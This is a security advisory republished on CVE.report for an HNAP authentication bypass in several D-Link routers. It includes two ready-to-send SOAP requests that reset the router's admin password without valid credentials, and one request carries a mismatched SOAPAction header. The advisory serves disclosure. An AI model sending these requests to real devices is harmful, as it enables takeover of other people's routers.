D-Link Multiple Routers HNAP Protocol Security Bypass Vulnerability

BID:37690

Info

D-Link Multiple Routers HNAP Protocol Security Bypass Vulnerability

Bugtraq ID: 37690
Class: Design Error
CVE:
Remote: Yes
Local: No
Published: Jan 09 2010 12:00AM
Updated: Jan 11 2010 05:51PM
Credit: SourceSec Security Research
Vulnerable: D-Link DIR-655 0
D-Link DIR-628 0
D-Link DI-524 0
Not Vulnerable:

Discussion

D-Link Multiple Routers HNAP Protocol Security Bypass Vulnerability

Multiple D-Link routers are prone to a security-bypass vulnerability.

Remote attackers can exploit this issue to bypass security restrictions and access certain administrative functions.

This issue affects the following routers:

DI-524
DIR-628
DIR-655

Exploit / POC

D-Link Multiple Routers HNAP Protocol Security Bypass Vulnerability

An attacker can exploit this issue by using readily available network utilities.

The following example requests are available:

Example 1:

POST /HNAP1/ HTTP/1.1
Host: 192.168.0.1:8099
SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings"
Content­Length: 453
<?xml version="1.0" encoding="utf­8"?>
<soap:Envelope
xmlns:xsi="http://www.w3.org/2001/XMLSchema­instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<soap:Body>
<SetDeviceSettings xmlns="http://purenetworks.com/HNAP1/">
<AdminPassword>testing123</AdminPassword>
</SetDeviceSettings>
</soap:Body>
</soap:Envelope>

Example 2:

POST /HNAP1/ HTTP/1.1
Authorization: Basic dXNlcjo=
Host: 192.168.0.1
SOAPAction: "http://purenetworks.com/HNAP1/SetDeviceSettings"
Content­Length: 453
<?xml version="1.0" encoding="utf­8"?>
<soap:Envelope
xmlns:xsi="http://www.w3.org/2001/XMLSchema­instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<soap:Body>
<SetDeviceSettings xmlns="http://purenetworks.com/HNAP1/">
<AdminPassword>testing123</AdminPassword>
</SetDeviceSettings>
</soap:Body>
</soap:Envelope>

Solution / Fix

D-Link Multiple Routers HNAP Protocol Security Bypass Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

References

D-Link Multiple Routers HNAP Protocol Security Bypass Vulnerability

References:

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report